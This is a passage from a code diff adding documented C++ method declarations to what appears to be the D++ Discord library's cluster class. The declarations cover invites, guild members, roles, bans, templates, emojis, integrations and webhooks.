invite + * + * @param invite Invite code to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void invite_delete(const std::string &invite, command_completion_event_t callback = {}); + + /** + * @brief Get invites for a channel + * + * @param c Channel to get invites for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::invite_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_invites_get(const class channel &c, command_completion_event_t callback); + + /** + * @brief Create invite for a channel + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param c Channel to create an invite on + * @param i Invite to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::invite object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_invite_create(const class channel &c, const class invite &i, command_completion_event_t callback = {}); + + /** + * @brief Get a channel's pins + * + * @param channel_id Channel ID to get pins for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_pins_get(snowflake channel_id, command_completion_event_t callback); + + /** + * @brief Adds a recipient to a Group DM using their access token + * + * @param channel_id Channel id to add group DM recipients to + * @param user_id User ID to add + * @param access_token Access token from OAuth2 + * @param nick Nickname of user to apply to the chat + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void gdm_add(snowflake channel_id, snowflake user_id, const std::string &access_token, const std::string &nick, command_completion_event_t callback = {}); + + /** + * @brief Removes a recipient from a Group DM + * + * @param channel_id Channel ID of group DM + * @param user_id User ID to remove from group DM + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void gdm_remove(snowflake channel_id, snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Remove a permission from a channel + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param c Channel to remove permission from + * @param overwrite_id Overwrite to remove, user or channel ID + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_delete_permission(const class channel &c, snowflake overwrite_id, command_completion_event_t callback = {}); + + /** + * @brief Follow a news channel + * + * @param c Channel id to follow + * @param target_channel_id Channel to subscribe the channel to + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_follow_news(const class channel &c, snowflake target_channel_id, command_completion_event_t callback = {}); + + /** + * @brief Trigger channel typing indicator + * + * @param c Channel to set as typing on + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_typing(const class channel &c, command_completion_event_t callback = {}); + + /** + * @brief Trigger channel typing indicator + * + * @param cid Channel ID to set as typing on + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_typing(snowflake cid, command_completion_event_t callback = {}); + + /** + * @brief Pin a message + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param channel_id Channel id to pin message on + * @param message_id Message id to pin message on + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_pin(snowflake channel_id, snowflake message_id, command_completion_event_t callback = {}); + + /** + * @brief Unpin a message + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param channel_id Channel id to unpin message on + * @param message_id Message id to unpin message on + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_unpin(snowflake channel_id, snowflake message_id, command_completion_event_t callback = {}); + + /** + * @brief Get a guild + * + * Returns the guild object for the given id. This endpoint will also return approximate_member_count and approximate_presence_count + * for the guild. + * + * @param g Guild ID to retrieve + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get(snowflake g, command_completion_event_t callback); + + /** + * @brief Get a guild preview. Returns a guild object but only a subset of the fields will be populated. + * + * Returns the guild preview object for the given id `g`. If the user is not in the guild, then the guild + * must be lurkable (it must be Discoverable or have a live public stage). + * + * @param g Guild ID to retrieve + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_preview(snowflake g, command_completion_event_t callback); + + /** + * @brief Get a guild member + * + * @param guild_id Guild ID to get member for + * @param user_id User ID of member to get + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_member(snowflake guild_id, snowflake user_id, command_completion_event_t callback); + + /** + * @brief Search for guild members based on whether their username or nickname starts with the given string. + * + * @note This endpoint is restricted according to whether the `GUILD_MEMBERS` Privileged Intent is enabled for your application. + * + * @param guild_id Guild ID to search in + * @param query Query string to match username(s) and nickname(s) against + * @param limit max number of members to return (1-1000) + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_search_members(snowflake guild_id, const std::string& query, uint16_t limit, command_completion_event_t callback); + + /** + * @brief Get all guild members + * + * @note This endpoint is restricted according to whether the `GUILD_MEMBERS` Privileged Intent is enabled for your application. + * + * @param guild_id Guild ID to get all members for + * @param limit max number of members to return (1-1000) + * @param after the highest user id in the previous page + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_members(snowflake guild_id, uint16_t limit, snowflake after, command_completion_event_t callback); + + /** + * @brief Add guild member. Needs a specific oauth2 scope, from which you get the access_token. + * + * Adds a user to the guild, provided you have a valid oauth2 access token for the user with the guilds.join scope. + * Returns the guild_member, which is defaulted if the user is already a member of the guild. Fires a `Guild Member Add` Gateway event. + * + * For guilds with Membership Screening enabled, this endpoint will default to adding new members as pending in the guild member object. + * Members that are pending will have to complete membership screening before they become full members that can talk. + * + * @note All parameters to this endpoint except for access_token are optional. + * The bot must be a member of the guild with `CREATE_INSTANT_INVITE` permission. + * + * @param gm Guild member to add + * @param access_token Access token from Oauth2 scope + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_add_member(const guild_member& gm, const std::string &access_token, command_completion_event_t callback = {}); + + /** + * @brief Edit the properties of an existing guild member + * + * Modify attributes of a guild member. Returns the guild_member. Fires a `Guild Member Update Gateway` event. + * If the `channel_id` is set to 0, this will force the target user to be disconnected from voice. + * When moving members to channels, the API user must have permissions to both connect to the channel and have the `MOVE_MEMBERS` permission. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param gm Guild member to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_edit_member(const guild_member& gm, command_completion_event_t callback = {}); + + /** + * @brief Moves the guild member to a other voice channel, if member is connected to one + * + * @param channel_id Id of the channel to which the user is used + * @param guild_id Guild id to which the user is connected + * @param user_id User id, who should be moved + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_member object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_member_move(const snowflake channel_id, const snowflake guild_id, const snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Change current user nickname + * + * Modifies the nickname of the current user in a guild. + * Fires a `Guild Member Update` Gateway event. + * + * @deprecated Deprecated in favor of Modify Current Member. + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param guild_id Guild ID to change nickanem on + * @param nickname New nickname, or empty string to clear nickname + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_set_nickname(snowflake guild_id, const std::string &nickname, command_completion_event_t callback = {}); + + /** + * @brief Add role to guild member + * + * Adds a role to a guild member. Requires the `MANAGE_ROLES` permission. + * Fires a Guild Member Update Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to add a role to + * @param user_id User ID to add role to + * @param role_id Role ID to add to the user + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_member_add_role(snowflake guild_id, snowflake user_id, snowflake role_id, command_completion_event_t callback = {}); + + /** + * @brief Remove role from guild member + * + * Removes a role from a guild member. Requires the `MANAGE_ROLES` permission. + * Fires a `Guild Member Update` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to remove role from user on + * @param user_id User ID to remove role from + * @param role_id Role to remove + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_member_delete_role(snowflake guild_id, snowflake user_id, snowflake role_id, command_completion_event_t callback = {}); + + /** + * @brief Remove (kick) a guild member + * + * Remove a member from a guild. Requires `KICK_MEMBERS` permission. + * Fires a `Guild Member Remove` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to kick member from + * @param user_id User ID to kick + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_member_delete(snowflake guild_id, snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Add guild ban + * + * Create a guild ban, and optionally delete previous messages sent by the banned user. + * Requires the `BAN_MEMBERS` permission. Fires a `Guild Ban Add` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to add ban to + * @param user_id User ID to ban + * @param delete_message_days How many days of ther user's messages to also delete + * @param reason Reason for ban + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::ban object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_ban_add(snowflake guild_id, snowflake user_id, uint32_t delete_message_days, const std::string &reason, command_completion_event_t callback = {}); + + /** + * @brief Delete guild ban + * + * Remove the ban for a user. Requires the `BAN_MEMBERS` permissions. + * Fires a Guild Ban Remove Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild to delete ban from + * @param user_id User ID to delete ban for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_ban_delete(snowflake guild_id, snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Get guild ban list + * + * Requires the `BAN_MEMBERS` permission. + * + * @param guild_id Guild ID to get bans for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::ban_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_bans(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get single guild ban + * + * Requires the `BAN_MEMBERS` permission. + * + * @param guild_id Guild ID to get ban for + * @param user_id User ID of ban to retrieve + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::ban object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_ban(snowflake guild_id, snowflake user_id, command_completion_event_t callback); + + /** + * @brief Get a template + * + * @param code Template code + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void template_get(const std::string &code, command_completion_event_t callback); + + /** + * @brief Create a new guild based on a template. + * + * @param code Template code to create guild from + * @param name Guild name to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_create_from_template(const std::string &code, const std::string &name, command_completion_event_t callback = {}); + + /** + * @brief Get guild templates + * + * @param guild_id Guild ID to get templates for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_templates_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Creates a template for the guild + * + * @param guild_id Guild to create template from + * @param name Template name to create + * @param description Description of template to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_template_create(snowflake guild_id, const std::string &name, const std::string &description, command_completion_event_t callback); + + /** + * @brief Syncs the template to the guild's current state. + * + * @param guild_id Guild to synchronise template for + * @param code Code of template to synchronise + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_template_sync(snowflake guild_id, const std::string &code, command_completion_event_t callback = {}); + + /** + * @brief Modifies the template's metadata. + * + * @param guild_id Guild ID of template to modify + * @param code Template code to modify + * @param name New name of template + * @param description New description of template + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_template_modify(snowflake guild_id, const std::string &code, const std::string &name, const std::string &description, command_completion_event_t callback = {}); + + /** + * @brief Deletes the template + * + * @param guild_id Guild ID of template to delete + * @param code Template code to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_template_delete(snowflake guild_id, const std::string &code, command_completion_event_t callback = {}); + + /** + * @brief Create a guild + * + * Create a new guild. Returns a guild object on success. `Fires a Guild Create Gateway` event. + * + * When using the roles parameter, the first member of the array is used to change properties of the guild's everyone role. + * If you are trying to bootstrap a guild with additional roles, keep this in mind. The required id field within each role object is an + * integer placeholder, and will be replaced by the API upon consumption. Its purpose is to allow you to overwrite a role's permissions + * in a channel when also passing in channels with the channels array. + * + * When using the channels parameter, the position field is ignored, and none of the default channels are created. The id field within + * each channel object may be set to an integer placeholder, and will be replaced by the API upon consumption. Its purpose is to + * allow you to create `GUILD_CATEGORY` channels by setting the `parent_id` field on any children to the category's id field. + * Category channels must be listed before any children. + * + * @note The region field is deprecated and is replaced by channel.rtc_region. + * @param g Guild to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_create(const class guild &g, command_completion_event_t callback = {}); + + /** + * @brief Edit a guild + * + * Modify a guild's settings. Requires the `MANAGE_GUILD` permission. Returns the updated guild object on success. + * Fires a `Guild Update Gateway` event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param g Guild to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_edit(const class guild &g, command_completion_event_t callback = {}); + + /** + * @brief Delete a guild + * + * Delete a guild permanently. User must be owner. Fires a `Guild Delete Gateway` event. + * + * @param guild_id Guild ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_delete(snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Get all emojis for a guild + * + * @param guild_id Guild ID to get emojis for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::emoji_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_emojis_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get a single emoji + * + * @param guild_id Guild ID to get emoji for + * @param emoji_id Emoji ID to get + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::emoji object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_emoji_get(snowflake guild_id, snowflake emoji_id, command_completion_event_t callback); + + /** + * @brief Create single emoji. + * You must ensure that the emoji passed contained image data using the emoji::load_image() method. + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param guild_id Guild ID to create emoji om + * @param newemoji Emoji to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::emoji object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_emoji_create(snowflake guild_id, const class emoji& newemoji, command_completion_event_t callback = {}); + + /** + * @brief Edit a single emoji. + * + * You must ensure that the emoji passed contained image data using the emoji::load_image() method. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to edit emoji on + * @param newemoji Emoji to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::emoji object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_emoji_edit(snowflake guild_id, const class emoji& newemoji, command_completion_event_t callback = {}); + + /** + * @brief Delete a guild emoji + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param guild_id Guild ID to delete emoji on + * @param emoji_id Emoji ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_emoji_delete(snowflake guild_id, snowflake emoji_id, command_completion_event_t callback = {}); + + /** + * @brief Get prune counts + * + * Returns a prune object indicating the number of members that would be removed in a prune operation. Requires the `KICK_MEMBERS` + * permission. By default, prune will not remove users with roles. You can optionally include specific roles in your prune by providing the + * include_roles parameter. Any inactive user that has a subset of the provided role(s) will be counted in the prune and users with additional + * roles will not. + * + * @param guild_id Guild ID to count for pruning + * @param pruneinfo Pruning info + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::prune object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_prune_counts(snowflake guild_id, const struct prune& pruneinfo, command_completion_event_t callback); + + /** + * @brief Begin guild prune + * + * Begin a prune operation. Requires the `KICK_MEMBERS` permission. Returns a prune object indicating the number of members + * that were removed in the prune operation. For large guilds it's recommended to set the `compute_prune_count` option to false, forcing + * 'pruned' to 0. Fires multiple `Guild Member Remove` Gateway events. + * By default, prune will not remove users with roles. You can optionally include specific roles in your prune by providing the `include_roles` + * parameter. Any inactive user that has a subset of the provided role(s) will be included in the prune and users with additional roles will not. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to prune + * @param pruneinfo Pruning info + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::prune object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_begin_prune(snowflake guild_id, const struct prune& pruneinfo, command_completion_event_t callback = {}); + + /** + * @brief Get guild voice regions. + * + * Voice regions per guild are somewhat deprecated in preference of per-channel voice regions. + * Returns a list of voice region objects for the guild. Unlike the similar /voice route, this returns VIP servers when + * the guild is VIP-enabled. + * + * @param guild_id Guild ID to get voice regions for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::voiceregion_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_voice_regions(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get guild invites + * + * Returns a list of invite objects (with invite metadata) for the guild. Requires the `MANAGE_GUILD` permission. + * + * @param guild_id Guild ID to get invites for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::invite_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_invites(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get guild itegrations + * + * Requires the `MANAGE_GUILD` permission. + * + * @param guild_id Guild ID to get integrations for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::integration_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_integrations(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Modify guild integration + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param guild_id Guild ID to modify integration for + * @param i Integration to modify + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::integration object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_modify_integration(snowflake guild_id, const class integration &i, command_completion_event_t callback = {}); + + /** + * @brief Delete guild integration + * + * Delete the attached integration object for the guild. Deletes any associated webhooks and kicks the associated bot if there is one. + * Requires the `MANAGE_GUILD` permission. Fires a Guild Integrations Update Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to delete integration for + * @param integration_id Integration ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_delete_integration(snowflake guild_id, snowflake integration_id, command_completion_event_t callback = {}); + + /** + * @brief Sync guild integration + * + * @param guild_id Guild ID to sync integration on + * @param integration_id Integration ID to synchronise + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_sync_integration(snowflake guild_id, snowflake integration_id, command_completion_event_t callback = {}); + + /** + * @brief Get guild widget + * + * Requires the `MANAGE_GUILD` permission. + * + * @param guild_id Guild ID to get widget for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_widget object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_widget(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Edit guild widget + * + * Requires the `MANAGE_GUILD` permission. + * + * @param guild_id Guild ID to edit widget for + * @param gw New guild widget information + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_widget object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_edit_widget(snowflake guild_id, const class guild_widget &gw, command_completion_event_t callback = {}); + + /** + * @brief Get guild vanity url, if enabled + * + * Returns a partial dpp::invite object for guilds with that feature enabled. Requires the `MANAGE_GUILD` permission. code will be null if a vanity url for the guild is not set. + * + * @param guild_id Guild to get vanity URL for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::invite object in confirmation_callback_t::value filled to match the vanity url. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_get_vanity(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Create a webhook + * + * @param w Webhook to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void create_webhook(const class webhook &w, command_completion_event_t callback = {}); + + /** + * @brief Get guild webhooks + * + * @param guild_id Guild ID to get webhooks for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_guild_webhooks(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get channel webhooks + * + * @param channel_id Channel ID to get webhooks for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_channel_webhooks(snowflake channel_id, command_completion_event_t callback); + + /** + * @brief Get webhook + * + * @param webhook_id Webhook ID to get + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_webhook(snowflake webhook_id, command_completion_event_t callback); + + /** + * @brief Get webhook using token + * + * @param webhook_id Webhook ID to retrieve + * @param token Token of webhook + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_webhook_with_token(snowflake webhook_id, const std::string &token, command_completion_event_t callback); + + /** + * @brief Edit webhook + * + * @param wh Webhook to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void edit_webhook(const class webhook& wh, command_completion_event_t callback = {}); + + /** + * @brief Edit webhook with token (token is encapsulated in the webhook object) + * + * @param wh Wehook to edit (should include token) + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::webhook object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void edit_webhook_with_token(const class webhook& wh, command_completion_event_t callback = {}); + + /** + * @brief Delete a webhook + * + * @param webhook_id Webhook ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void delete_webhook(snowflake webhook_id, command_completion_event_t callback = {}); + + /** + * @brief Delete webhook with token + * + * @param webhook_id Webhook ID to delete + * @param token Token of webhook to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void delete_webhook_with_token(snowflake webhook_id, const std::string &token, command_completion_event_t callback = {}); + + /** + * @brief Execute webhook + * + * @param wh Webhook to execute + * @param m Message to send + * @param wait waits for server confirmation of message send before response, and returns the created message body + * @param thread_id Send a message to the specified thread within a webhook's channel. The thread will automatically be unarchived + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in 